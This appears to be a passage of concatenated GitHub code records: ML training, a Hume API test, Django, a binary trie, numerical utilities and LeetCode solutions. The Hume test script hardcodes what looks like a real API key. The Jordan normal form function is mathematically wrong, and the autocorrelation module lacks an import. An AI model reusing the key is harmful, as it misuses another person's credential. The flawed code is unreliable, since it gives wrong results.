learn.load('/home/santhosr/Documents/Birad/ProcessedData/models/'+'model_resnet_acc893_loss254')\n\n# learn.load('/home/santhosr/Data/models/'+'model_resnet50_acc698_loss627')\n\n\n# learn.model[-1] = create_head(nf=4096,nc=2)\n# learn.model[-1].cuda()\n\nlearn.data = data\n\n# STEP 1\nlearn.freeze()\nlearn.fit(10,1e-4)\nlearn.unfreeze()\nlearn.fit(10,1e-5)\nlearn.fit(10,1e-5)\nlearn.fit_one_cycle(10,1e-5)\nlearn.fit(20,1e-5)\n\n\nlearn.freeze()\nlearn.fit(10,1e-4)\nlearn.unfreeze()\nlearn.fit(10,1e-5)\nlearn.fit(10,1e-5)\nlearn.fit_one_cycle(10,1e-5)\nlearn.fit(20,1e-5)\n\n\n# learn.freeze()\n# learn.fit(10,1e-4)\n# learn.unfreeze()\n# learn.fit(10,1e-5)\n# learn.fit(10,1e-5)\n# learn.freeze(),\n# learn.fit(10,1e-4)\n# learn.unfreeze()\n# learn.fit_one_cycle(10,1e-5)\n# learn.fit(20,1e-5)","repo_name":"rsk2327/CBIG","sub_path":"FastAI/biradReTrain.py","file_name":"biradReTrain.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"26867939664","text":"import asyncio\n\nfrom hume import HumeStreamClient, StreamSocket\nfrom hume.models.config import ProsodyConfig\n\nasync def main():\n client = HumeStreamClient(\"84NYC5ic1tuULwmGuVCzJ9n9csaFezkAiWyU1CqqMfHQRuyD\")\n config = ProsodyConfig()\n async with client.connect([config]) as socket:\n result = await socket.send_file(\"Insert/file\")\n print(result)\n\nasyncio.run(main())","repo_name":"iRimpo/PresenAI","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"2476380862","text":"import support1\nimport threading\nimport time\n\n\ndef aaa():\n for n in range(10000):\n for i in range(100000):\n n += i\n print(n)\n\n\n\n#使用普通模式,耗时 48.45357608795166\n\"\"\"\ntime1 = time.time()\naaa()\ntime2 = time.time()\nprint(time2-time1)\n\"\"\"\n#\n# list=[1,2,3,4]\n# it = iter(list) # 创建迭代器对象\n# for x in it:\n# print (x, end=\" \\n\")\n#\n\n#\n# def printstr(str):\n# print(str)\n#\n#\n# printstr(str=\"teee\")\n#\n# def printinfo(arg1,* args2):\n# printstr(arg1)\n# print(args2)\n#\n#\n# printinfo(1,1,2,3,4)\n#\n# a = 10\n# def test():\n# #global a\n# a = a + 1\n# print(a)\n# test()\n\n\nsupport1.print_func('jackqin')\nsupport1.print_func('jackqin2')","repo_name":"jacklyQinqin/trainning","sub_path":"pythonTest/OOP/练习2.py","file_name":"练习2.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"73535749016","text":"def explorar_izquierda(nodo, luciernaga_i, luciernaga_j):\n indice = luciernaga_i.index(nodo)\n nodos_coincidentes = [nodo]\n \n while indice > 0 and luciernaga_i[indice-1:indice+1] in [luciernaga_j[i:i+2] for i in range(len(luciernaga_j) - 1)]:\n indice -= 1\n nodos_coincidentes.insert(0, luciernaga_i[indice])\n\n return nodos_coincidentes\n\ndef explorar_derecha(nodo, luciernaga_i, luciernaga_j):\n indice = luciernaga_i.index(nodo)\n nodos_coincidentes = [nodo]\n \n while indice < len(luciernaga_i) - 1 and luciernaga_i[indice:indice+2] in [luciernaga_j[i:i+2] for i in range(len(luciernaga_j) - 1)]:\n indice += 1\n nodos_coincidentes.append(luciernaga_i[indice])\n\n return nodos_coincidentes\n\n# Ejemplo de uso:\nluciernaga_i = [6, 7, 8, 4, 2, 1, 5, 15, 12, 3, 16, 11, 9, 10, 13, 14]\nluciernaga_j = [6, 7, 12, 13, 14, 1, 8, 4, 2, 3, 16, 11, 9, 10, 15, 5]\nnodo_inicial = 3\n\n# nodos_coincidentes = explorar_derecha(nodo_inicial, luciernaga_i, luciernaga_j)\nnodos_coincidentes = explorar_izquierda(nodo_inicial, luciernaga_i, luciernaga_j)\nprint(f\"Nodos coincidentes hacia la derecha: {nodos_coincidentes}\")\n\n\n# firefly_i = [6, 7, 8, 4, 2, 1, 5, 15, 12, 3, 16, 11, 9, 10, 13, 14]\n# firefly_j = [6, 7, 12, 13, 14, 1, 8, 4, 2, 3, 16, 11, 9, 10, 15, 5]\n# node_x = 2\n# node_y = 3\n\n# # explorar_izquierda(node_x, firefly_i, firefly_j)\n# # explorar_izquierda(node_y, firefly_i, firefly_j)\n# explorar_derecha(node_y, firefly_i, firefly_j)\n \n","repo_name":"rez-dev/metaheuristica","sub_path":"FA/old/test7.py","file_name":"test7.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29665144236","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 9 09:53:56 2023\n\n@author: ken3\n\nIntroduction:\n Jordan normal form is a way to represent a square matrix as a sum of diagonal matrices and \n matrices composed of ones and zeros.\n \n M = P * J * P^-1\n where M is the square matrix to be transformed, \n P is the matrix consisting of the eigenvectors of M, J is \n the Jordan normal form of M, and P^-1 is the inverse of P.\n\"\"\"\n\nimport numpy as np\n\ndef jordan_normal_form(m):\n # Eigendecomposition of the input matrix\n eigenvalues, eigenvectors = np.linalg.eig(m)\n\n # Sorting the eigenvalues and corresponding eigenvectors\n indices = eigenvalues.argsort()[::-1]\n eigenvalues = eigenvalues[indices]\n eigenvectors = eigenvectors[:, indices]\n\n # Initialization of Jordan normal form and computation of the diagonal blocks\n jordan = np.zeros_like(m)\n i = 0\n while i < m.shape[0]:\n if i+1 < m.shape[0] and abs(m[i+1][i]) > 0.00001:\n jordan[i][i] = eigenvalues[i]\n jordan[i+1][i+1] = eigenvalues[i]\n jordan[i+1][i] = 1\n jordan[i][i+1] = 0\n i += 2\n else:\n jordan[i][i] = eigenvalues[i]\n i += 1\n\n # Matrix of eigenvectors\n P = eigenvectors\n\n # Inverse of P\n P_inv = np.linalg.inv(P)\n\n # Transforming the input matrix to its Jordan normal form\n jordan_normal_form = np.dot(np.dot(P, jordan), P_inv)\n\n return jordan_normal_form\n\ndef main():\n # Example usage\n m = np.array([[3, -1, 0], [1, 2, 1], [-1, -1, 2]])\n jordan = jordan_normal_form(m)\n print(jordan)\n\nif __name__ == \"__main__\":\n main()","repo_name":"sou350121/probability-Statistics-Introduction-and-Visualization","sub_path":"JordanNormalForm.py","file_name":"JordanNormalForm.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"31939837831","text":"import celerite\nimport numpy as np\nfrom scipy.optimize import minimize\n\n\n# Most of the following is taken from https://emcee.readthedocs.io/en/stable/tutorials/autocorr/\n\ndef next_pow_two(n):\n i = 1\n while i < n:\n i = i << 1\n return i\n\n\ndef autocorr_func_1d(x, norm=True):\n x = np.atleast_1d(x)\n if len(x.shape) != 1:\n raise ValueError(\"invalid dimensions for 1D autocorrelation function\")\n n = next_pow_two(len(x))\n\n # Compute the FFT and then (from that) the auto-correlation function\n f = np.fft.fft(x - np.mean(x), n=2 * n)\n acf = np.fft.ifft(f * np.conjugate(f))[: len(x)].real\n acf /= 4 * n\n\n # Optionally normalize\n if norm:\n acf /= acf[0]\n\n return acf\n\n\n# Automated windowing procedure following Sokal (1989)\ndef auto_window(taus, c):\n m = np.arange(len(taus)) < c * taus\n if np.any(m):\n return np.argmin(m)\n return len(taus) - 1\n\n\n# Following the suggestion from Goodman & Weare (2010)\ndef autocorr_gw2010(y, c=5.0):\n f = autocorr_func_1d(np.mean(y, axis=0))\n taus = 2.0 * np.cumsum(f) - 1.0\n window = auto_window(taus, c)\n return taus[window]\n\n\ndef autocorr_new(y, c=5.0):\n f = np.zeros(len(y))\n for yy in y:\n f += autocorr_func_1d(yy)\n f /= len(y)\n taus = 2.0 * np.cumsum(f) - 1.0\n window = auto_window(taus, c)\n return taus[window]\n\n\ndef autocorr_ml(y, thin=1, c=5.0):\n # Compute the initial estimate of tau using the standard method\n init = autocorr_new(y, c=c)\n z = y[:, ::thin]\n N = z.shape[1]\n\n # Build the GP model\n tau = max(1.0, init / thin)\n kernel = terms.RealTerm(\n np.log(0.9 * np.var(z)), -np.log(tau), bounds=[(-5.0, 5.0), (-np.log(N), 0.0)]\n )\n kernel += terms.RealTerm(\n np.log(0.1 * np.var(z)),\n -np.log(0.5 * tau),\n bounds=[(-5.0, 5.0), (-np.log(N), 0.0)],\n )\n gp = celerite.GP(kernel, mean=np.mean(z))\n gp.compute(np.arange(z.shape[1]))\n\n # Define the objective\n def nll(p):\n # Update the GP model\n gp.set_parameter_vector(p)\n\n # Loop over the chains and compute likelihoods\n v, g = zip(*(gp.grad_log_likelihood(z0, quiet=True) for z0 in z))\n\n # Combine the datasets\n return -np.sum(v), -np.sum(g, axis=0)\n\n # Optimize the model\n p0 = gp.get_parameter_vector()\n bounds = gp.get_parameter_bounds()\n soln = minimize(nll, p0, jac=True, bounds=bounds)\n gp.set_parameter_vector(soln.x)\n\n # Compute the maximum likelihood tau\n a, c = kernel.coefficients[:2]\n tau = thin * 2 * np.sum(a / c) / np.sum(a)\n return tau\n","repo_name":"tomasjames/SAAB","sub_path":"correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"40400818566","text":"from django.urls import path\nfrom django.contrib.auth.views import LogoutView\nfrom .views import IndexView, UserCreateView, MyLoginView, NotesListView, CreateNoteView, DeleteNoteView\n\n\nurlpatterns = [\n path(\"\", IndexView.as_view(), name=\"home\"),\n path(\"signup/\", UserCreateView.as_view(), name=\"signup\"),\n path(\"auth/\", MyLoginView.as_view(), name=\"login\"),\n path(\"logout/\", LogoutView.as_view(next_page=\"login\"), name=\"logout\"),\n path(\"notes/\", NotesListView.as_view(), name=\"notes\"),\n path(\"add_note/\", CreateNoteView.as_view(), name=\"add_note\"),\n path(\"delete_note//\", DeleteNoteView.as_view(), name=\"delete_note\"),\n]\n","repo_name":"Nawerx/django_learning","sub_path":"todo_project/todo_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36790332849","text":"import abc\nimport os\nimport re\nimport tarfile\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.db import models\n\n\nclass CSAZipFile(models.Model):\n original_file_name = models.CharField(max_length=255, unique=True)\n name = models.CharField(max_length=255)\n upload = models.FileField(blank=False, null=False)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n @classmethod\n def Create(cls, zip_file):\n csa_zip_file, created = CSAZipFile.objects.get_or_create(\n original_file_name=zip_file.name,\n defaults={\n 'name': zip_file.name,\n 'upload': zip_file})\n return csa_zip_file\n\n\nclass CSADataFile(models.Model):\n original_file_name = models.CharField(max_length=255, unique=True)\n name = models.CharField(max_length=255)\n data_file_path = models.CharField(max_length=1024)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n @classmethod\n def Create(cls, data_file_path):\n data_file_name = data_file_path.split(os.pathsep)[-1]\n csa_zip_file, created = CSADataFile.objects.get_or_create(\n original_file_name=data_file_name,\n defaults={\n 'name': data_file_name,\n 'data_file_path': data_file_path})\n if not created:\n csa_zip_file.save() # record that we are using this at this time\n return csa_zip_file\n\n def validate_headers(self, data_row):\n return data_row.ValidateHeaders(self)\n\n def import_from_file(self, data_row):\n return data_row.ImportFromFile(self)\n\n\nclass CSADataRow(object):\n\n def ValidateHeaders(cls, data_file):\n raise NotImplementedError('Must be implemented on instance class')\n\n def ImportFromFile(cls, data_file):\n raise NotImplementedError('Must be implemented on instance class')\n\n\nclass CSAZipFileProcess(models.Model):\n STATE_ERROR = '00'\n STATE_START = '01'\n STATE_UNZIPPED = '02'\n STATE_CSV_FILE_EXISTS = '03'\n STATE_IMPORTING = '04'\n STATE_FINISHED = '05'\n\n csa_zip_file = models.ForeignKey(CSAZipFile)\n csa_data_file = models.ForeignKey(CSADataFile, null=True, blank=True)\n state = models.CharField(max_length=2, default=STATE_START)\n error = models.CharField(max_length=255, null=True, blank=True)\n exception = models.TextField(null=True, blank=True)\n data_import_progress = models.FloatField(null=True, blank=True, default=0)\n\n @classmethod\n def RunProcessForZipFile(cls, csa_zip_file, data_row_class):\n process, created = CSAZipFileProcess.objects.get_or_create(csa_zip_file=csa_zip_file)\n process.run(data_row_class)\n\n def _set_state(self, state, error=None, exception=None, import_progress=None):\n self.state = state\n if error:\n self.error = error\n if exception:\n self.exception = \"%s (%s)\" % (exception, type(exception))\n if import_progress:\n self.data_import_progress = import_progress\n self.save()\n\n def run(self, data_row_class):\n self._set_state(CSAZipFileProcess.STATE_START)\n\n # Try to extract the zip file\n try:\n tar_file = tarfile.open(os.path.join(settings.MEDIA_ROOT, self.csa_zip_file.name))\n tar_file.extractall(path=settings.MEDIA_ROOT)\n tar_file.close()\n self._set_state(CSAZipFileProcess.STATE_UNZIPPED)\n except Exception as ex:\n self._set_state(\n CSAZipFileProcess.STATE_ERROR,\n \"There was an error unzipping the tar file, the file may be corrupt?\",\n ex)\n return\n\n # Try to associate a CSADataFile object with this process\n csa_data_file_name = re.sub(r'\\.tar.*', '', self.csa_zip_file.name)\n try:\n data_file_path = os.path.join(settings.MEDIA_ROOT, csa_data_file_name)\n csa_data_file = CSADataFile.Create(data_file_path)\n self.csa_data_file = csa_data_file\n self.save()\n self._set_state(CSAZipFileProcess.STATE_CSV_FILE_EXISTS)\n except Exception as ex:\n self._set_state(\n CSAZipFileProcess.STATE_ERROR,\n \"There was an error reading the unzipped CSA file.\",\n ex)\n return\n\n # do the headers validate\n try:\n self.csa_data_file.validate_headers(data_row_class)\n self._set_state(CSAZipFileProcess.STATE_IMPORTING)\n except Exception as ex:\n self._set_state(\n CSAZipFileProcess.STATE_ERROR,\n \"There was an error validating the headers in the Zip File.\",\n ex)\n return\n\n # Import the data\n try:\n data_row_class.objects.all().delete()\n for total, done in self.csa_data_file.import_from_file(data_row_class):\n self._set_state(CSAZipFileProcess.STATE_IMPORTING, import_progress=float(done)/total * 100)\n self._set_state(CSAZipFileProcess.STATE_FINISHED)\n except Exception as ex:\n self._set_state(\n CSAZipFileProcess.STATE_ERROR,\n \"There was an error importing data from the Zip File.\",\n ex)\n return\n\n # Clear the cache of analysis\n cache.clear()\n\n def get_csa_zip_file_process(self):\n if self.state == CSAZipFileProcess.STATE_START:\n state = 'processing'\n template_data = {\n 'progress': 10, 'steps_done': ['Uploaded file'], 'steps_doing': ['Unzipping uploaded file'],\n 'steps_todo': ['Loading CSV file', 'Validate file format', 'Import file data']}\n elif self.state == CSAZipFileProcess.STATE_UNZIPPED:\n state = 'processing'\n template_data = {\n 'progress': 30, 'steps_done': ['Uploaded file', 'Unzipped uploaded file'],\n 'steps_doing': ['Loading CSV file'], 'steps_todo': ['Validating file format', 'Import file data']}\n elif self.state == CSAZipFileProcess.STATE_CSV_FILE_EXISTS:\n state = 'processing'\n template_data = {'progress': 40, 'steps_done': ['Uploaded file', 'Unzipped uploaded file', 'Loading CSV file'],\n 'steps_doing': ['Validating file format'], 'steps_todo': ['Import file data']}\n elif self.state == CSAZipFileProcess.STATE_IMPORTING:\n state = 'processing'\n template_data = {\n 'progress': self.data_import_progress,\n 'steps_done': [\n 'Uploaded file',\n 'Unzipped uploaded file',\n 'Loading CSV file',\n 'Validating file format'],\n 'steps_doing': ['Import file data'],\n 'steps_todo': []}\n elif self.state == CSAZipFileProcess.STATE_FINISHED:\n state = 'finished'\n template_data = {\n 'progress': 100,\n 'steps_done': [\n 'Uploaded file',\n 'Unzipped uploaded file',\n 'Loading CSV file',\n 'Validating file format',\n 'Import file data'],\n 'steps_doing': [],\n 'steps_todo': []}\n else: # self.state == CSAZipFileProcess.STATE_ERROR:\n state = 'error'\n template_data = {'self': self}\n return state, template_data\n","repo_name":"andy-cruk/portal","sub_path":"domain/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"26651090701","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:\n if not inorder or not postorder:\n return\n new = postorder.pop()\n i = inorder.index(new)\n root = TreeNode(new)\n root.right = self.buildTree(inorder[i+1:], postorder)\n root.left = self.buildTree(inorder[:i], postorder)\n return root\n \n","repo_name":"PemLer/Journey_of_Algorithm","sub_path":"leetcode/101-200/T106_buildTree.py","file_name":"T106_buildTree.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"41935285960","text":"def mix(s1, s2):\n # your code\n result = []\n for i in range(ord('a'), ord('z') + 1):\n elem = None\n s1_number = s1.count(chr(i))\n s2_number = s2.count(chr(i))\n if s1_number > 1 or s2_number > 1:\n if s1_number > s2_number:\n elem = '1:' + chr(i) * s1_number\n result.append([elem, str(len(elem)) + 'c' + chr(ord('z') - ord(elem[2]))])\n elif s1_number < s2_number:\n elem = '2:' + chr(i) * s2_number\n result.append([elem, str(len(elem)) + 'b' + chr(ord('z') - ord(elem[2]))])\n else:\n elem = '=:' + chr(i) * s1_number\n result.append([elem, str(len(elem)) + 'a' + chr(ord('z') - ord(elem[2]))])\n\n def takeSecond(elem):\n return elem[1]\n\n result.sort(key=takeSecond, reverse=True)\n return \"/\".join(a[0] for a in result)\n\nprint(mix(\"Are they here\", \"yes, they are here\"))\n","repo_name":"Mud-Fire/Codewars","sub_path":"StringsMix.py","file_name":"StringsMix.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"20317249037","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport sys\nfrom matplotlib.backends.backend_pdf import PdfPages\ninfile = sys.argv[1]\ncolumn1 = sys.argv[2]\ncolumn2=sys.argv[3]\ncolumn3=sys.argv[4]\ncolumn4=sys.argv[5]\nlabel = sys.argv[6]\nlabel1 = sys.argv[7]\noutfile = sys.argv[8]\ndf_pw = pd.read_csv(infile)\n# Remove rows where the password is missing\ndf_pw = df_pw.dropna(subset=[column1])\n\ndef to_seconds(column2, column3):\n if column3 == \"seconds\":\n return column2\n elif column3 == \"minutes\":\n return column2 * 60\n elif column3 == \"hours\":\n return column2 * 60 * 60\n elif column3 == \"days\":\n return column2 * 60 * 27\n elif column3 == \"weeks\":\n return column2 * 60 * 24 * 7\n elif column3 == \"months\":\n return column2 * 60 * 24 * 30\n elif column3 == \"years\":\n return column2 * 60 * 24 * 365\n else:\n return np.nan\nTIMES = [\n to_seconds(row[f\"{column2}\"], row[f\"{column3}\"])\n for _, row in df_pw.iterrows()\n]\n\nTIME_MAX = np.max(TIMES)\nTIME_MIN = np.min(TIMES)\n\nwith PdfPages(outfile) as export_pdf:\n# 'low' and 'high' refer to the final dot size.\n def scale_to_interval(x, low=1, high=60):\n return ((x - TIME_MIN) / (TIME_MAX - TIME_MIN)) * (high - low) + low\n # Different sades of grey used in the plot\n GREY88 = \"#e0e0e0\"\n GREY85 = \"#d9d9d9\"\n GREY82 = \"#d1d1d1\"\n GREY79 = \"#c9c9c9\"\n GREY97 = \"#f7f7f7\"\n GREY60 = \"#999999\"\n\n# Values for the x axis\n ANGLES = np.linspace(0, 2 * np.pi, len(TIMES), endpoint=False)\n\n# Heights of the lines and y-position of the dot are given by the times.\n HEIGHTS = np.array(TIMES)\n\n# Category values for the colors\n CATEGORY_CODES = pd.Categorical(df_pw[f\"{column4}\"]).codes\n\n# Colormap taken from https://carto.com/carto-colors/\n COLORMAP = [\"#5F4690\", \"#1D6996\", \"#38A6A5\", \"#0F8554\", \"#73AF48\", \n \"#EDAD08\", \"#E17C05\", \"#CC503E\", \"#94346E\", \"#666666\"]\n\n# Select colors for each password according to its category.\n COLORS = np.array(COLORMAP)[CATEGORY_CODES]\n\n\n# This is going to be helpful to create some space for labels within the circle \n# Don't worry if it doesn't make much sense yet, you're going to see it in action below\n PLUS = 1000\n# Create a data frame with the information for the four passwords that are going to be labeled\n LABELS_DF = df_pw[df_pw[f\"{column2}\"] > 90].reset_index()\n# Create labels\n LABELS_DF[\"label\"] = [\n f\"{pswrd}\\nRank: {int(rank)}\" \n for pswrd, rank in zip(LABELS_DF[f\"{label}\"], LABELS_DF[f\"{label1}\"])\n ]\n\n# Set positions for the labels\n LABELS_DF[\"x\"] = [40, 332, 401, 496]\n LABELS_DF[\"y\"] = [160000000, 90000000, 45000000, 48498112]\n# Initialize layout in polar coordinates\n fig, ax = plt.subplots(figsize=(8, 8), subplot_kw={\"projection\": \"polar\"})\n\n# Set background color to white, both axis and figure.\n fig.patch.set_facecolor(\"white\")\n ax.set_facecolor(\"white\")\n\n# Use logarithmic scale for the radial axis\n ax.set_rscale('symlog')\n\n# Angular axis starts at 90 degrees, not at 0\n ax.set_theta_offset(np.pi / 2)\n\n# Reverse the direction to go counter-clockwise.\n ax.set_theta_direction(-1)\n\n# Add lines\n ax.vlines(ANGLES, 0 + PLUS, HEIGHTS + PLUS, color=COLORS, lw=0.9)\n\n# Add dots\n ax.scatter(ANGLES, HEIGHTS + PLUS, s=scale_to_interval(HEIGHTS), color=COLORS);\n export_pdf.savefig()","repo_name":"Adarsh01997/GALAXYPROJECT-TOOLS","sub_path":"redarchart.py","file_name":"redarchart.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"73173496216","text":"#!/usr/bin/env python3\n\n# left-aligned binary trie\n\n# cf python 3.8: 108016 KB (108 MB) \n# \n# (100 bytes / node)\n\nimport sys\n\nclass TrieNode:\n __slots__ = 'num_words', 'starts', 'child0', 'child1'\n\n def __init__(self):\n \n # getsizeof()=40\n\n self.num_words = 0\n self.starts = 0\n\n self.child0 = None\n self.child1 = None\n\n def anyChild(self):\n if self.child0 is not None and self.child0.starts > 0:\n return self.child0\n if self.child1 is not None and self.child1.starts > 0:\n return self.child1\n\nclass BinaryTrie:\n def __init__(self):\n\n self.root = TrieNode()\n\n def insert(self, word):\n word = list(map(int, word))\n node=self.root\n for i in word:\n node.starts += 1\n\n if i == 0 and node.child0 is None: node.child0 = TrieNode()\n if i == 1 and node.child1 is None: node.child1 = TrieNode()\n\n node = node.child0 if i == 0 else node.child1\n node.num_words += 1\n node.starts += 1\n\n def findAnyWithPrefix(self, prefix):\n prefix = list(map(int, prefix))\n\n node = self.findNode(prefix)\n if node is None:\n return node\n if node.starts == 0:\n return None\n while node.num_words == 0:\n node = node.anyChild()\n return node\n\n def containsWord(self, word):\n word = list(map(int, word))\n node = self.findNode(word)\n if node is None: return False\n return node.num_words > 0\n\n def remove(self, word):\n word = list(map(int, word))\n node=self.root\n node.starts -= 1\n for i in word:\n if i == 0 and node.child0 is None: return None\n if i == 1 and node.child1 is None: return None\n\n node = node.child0 if i == 0 else node.child1\n\n node.starts -= 1\n node.num_words -= 1\n\n def removeAnyWithPrefix(self, prefix):\n prefix = list(map(int, prefix))\n node=self.root\n for i in prefix:\n node.starts -= 1\n node = node.child0 if i == 0 else node.child1\n\n if node.num_words > 0:\n node.starts -= 1\n node.num_words -= 1\n return \n \n node.starts -= 1\n\n while node.num_words == 0:\n node = node.anyChild()\n node.starts -= 1\n \n node.num_words -= 1\n\n def findNode(self, word):\n word = list(map(int, word))\n \n node=self.root\n for i in word:\n if i == 0 and node.child0 is None: return None\n if i == 1 and node.child1 is None: return None\n\n node = node.child0 if i == 0 else node.child1\n\n return node\n\n def startsWith(self, prefix):\n prefix = list(map(int, prefix))\n\n node = self.findNode(prefix)\n if node is None: return False\n return node.starts > 0\n\nif __name__ == '__main__':\n print(sys.getsizeof(TrieNode()))\n def bin(x):\n return \"{0:b}\".format(x)\n\n import random\n trie = BinaryTrie()\n for _ in range(10**5):\n x = random.randint(1, 10**9)\n trie.insert(bin(x))\n print(\"done\")","repo_name":"ldct/cp","sub_path":"templates/data_structures/BinaryTrie.py","file_name":"BinaryTrie.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"33579029682","text":"import config as globals\nimport sys\nimport asyncio\nimport configparser\n\ndef clearDefaultConnection():\n\tprint(\"Clearing default connection\")\n\tdetails = { 'host': '', 'name': '', 'port': -1 }\n\tsetDefaultConnection(details)\n\tprint(getDefaultConnection())\n\ndef setDefaultConnection(details):\n\tprint(\"Setting default connection\")\n\tprint(details)\n\tconfig = configparser.ConfigParser()\n\tconfig['DEFAULT_CONNECTION'] = {\n\t\t'host': str(details['host']),\n\t\t'name': str(details['name']),\n\t\t'port': int(details['port'])\n\t}\n\twith open('config.ini', 'w') as configFile:\n\t\tconfig.write(configFile)\n\ndef getDefaultConnection():\n\tprint(\"Getting default connection\")\n\tdefaultConnection = {}\n\tconfig = configparser.ConfigParser()\n\tconfig.read('config.ini')\n\tfor key in config['DEFAULT_CONNECTION']:\n\t\tdefaultConnection[key] = config['DEFAULT_CONNECTION'][key]\n\tprint(defaultConnection)\n\treturn defaultConnection\n\ndef waitForPairRequest():\n\tprint(\"Waiting for pair...\")\n\tchild = globals.pexpect.spawn('sudo bluetoothctl')\n\tchild.logfile = sys.stdout.buffer\n\tchild.sendline('agent off')\n\tchild.sendline('agent on')\n\tchild.sendline('default-agent')\n\tchild.sendline('discoverable on')\n\tchild.sendline('pairable on')\n\n\t# Waiting for pair request\n\ttry:\n\t\tchild.expect(r'Confirm passkey ([0-9]){6}', timeout=60)\n\t\tchild.sendline('yes')\n\t\tchild.sendline()\n\t\t# TODO: Format passkey\n\t\t_result = child.after.decode('utf-8')\n\n\t\t# Check if we've cancelled waiting for pair request\n\t\t# Meaning we dont need a ui update.\n\t\tif globals.waitingForPairRequest is True:\n\t\t\tglobals.eel.notifyPairRequest(_result)\n\n\t\t# Wait for pair result\n\t\ttry:\n\t\t\t# Then we expect the 'Paired: yes' string (pair succeeded)\n\t\t\tchild.expect('Paired: yes', timeout=30)\n\t\t\t# Call javascript function directly with True (paired)\n\t\t\tglobals.eel.notifyPairResult(True)\n\t\texcept:\n\t\t\tprint(\"Exception\")\n\t\t\t# Call javascript function directly with False (failed to pair)\n\t\t\tglobals.eel.notifyPairResult(False)\n\n\texcept:\n\t\tprint(\"Exception\")\n\t\t# Check if we've cancelled waiting for pair request\n\t\t# Meaning we dont need a ui update.\n\t\tif globals.waitingForPairRequest is True:\n\t\t\tglobals.eel.notifyPairRequest(None)\n\n\ndef findServices():\n\tprint(\"Finding services...\")\n\n\taddr = None\n\tuuid = \"94f39d29-7d6d-437d-973b-fba39e49d4ee\"\n\tserviceMatches = globals.bluetooth.find_service(uuid=uuid, address=addr)\n\n\tif len(serviceMatches) == 0:\n\t print(\"Couldn't find the SampleServer service.\")\n\t return False\n\telse:\n\t\tprint(\"Found the SampleServer!\")\n\t\treturn serviceMatches\n\ndef connectToService(service):\n\tif globals.sock is None:\n\t\tglobals.refreshSock()\n\n\tfirst_match = service\n\tport = int(first_match[\"port\"])\n\tname = str(first_match[\"name\"])\n\thost = str(first_match[\"host\"])\n\tprint(\"Connecting to \\\"{}\\\" on {}\".format(name, host))\n\n\t# Connect\n\ttry:\n\t\tglobals.sock.connect((host, port))\n\t\tglobals.currentConnection = first_match\n\t\tprint(\"Connected\")\n\t\treturn True;\n\texcept globals.bluetooth.BluetoothError as err:\n\t\t# Refresh new sock object on error ?\n\t\tglobals.sock.close()\n\t\tglobals.refreshSock()\n\t\tprint(\"Failed to connect\")\n\t\tprint(\"Bluetooth error\", err)\n\t\treturn False;\n\ndef disconnectFromService():\n\tprint(\"Disconnecting from service\")\n\tif globals.sock is not None:\n\t\tglobals.currentConnection = None\n\t\tglobals.sock.close()\n\t\tglobals.sock = None\n\ndef send(value):\n\tif globals.currentConnection is not None:\n\t\tprint(\"Sending: \", value)\n\t\tglobals.sock.send(value)\n\n\n@globals.eel.expose\ndef checkConnection():\n\t# If we're disconnected but don't know it yet\n\tif globals.currentConnection is not None:\n\t\ttry:\n\t\t\tconnected = globals.sock.getpeername()\n\t\texcept:\n\t\t\tprint(\"Disconnected\")\n\t\t\tglobals.eel.notifyDisconnection()\n\t\t\tdisconnectFromService()\n\t\t\tglobals.refreshSock()\n","repo_name":"Jacksonblair/SIT210Project","sub_path":"Client/comms.py","file_name":"comms.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"23984840642","text":"# Leetcode 1043. Partition Array for Maximum Sum\n# dp[i] record the maximum sum we can get considering arr[0] - arr[i-1]\n# To get dp[i], we will try to change x last numbers separately to the maximum of them,\n# where x = 1 to x = k\n\n# Time O(nk), space O(n)\n\nclass Solution:\n def maxSumAfterPartitioning(self, arr, k):\n N = len(arr)\n dp = [0] * (N + 1)\n for i in range(1, N + 1):\n currMax = 0\n for x in range(1, min(k, i) + 1):\n currMax = max(currMax, arr[i - x])\n dp[i] = max(dp[i], dp[i - x] + currMax * x)\n return dp[N]\nRun = 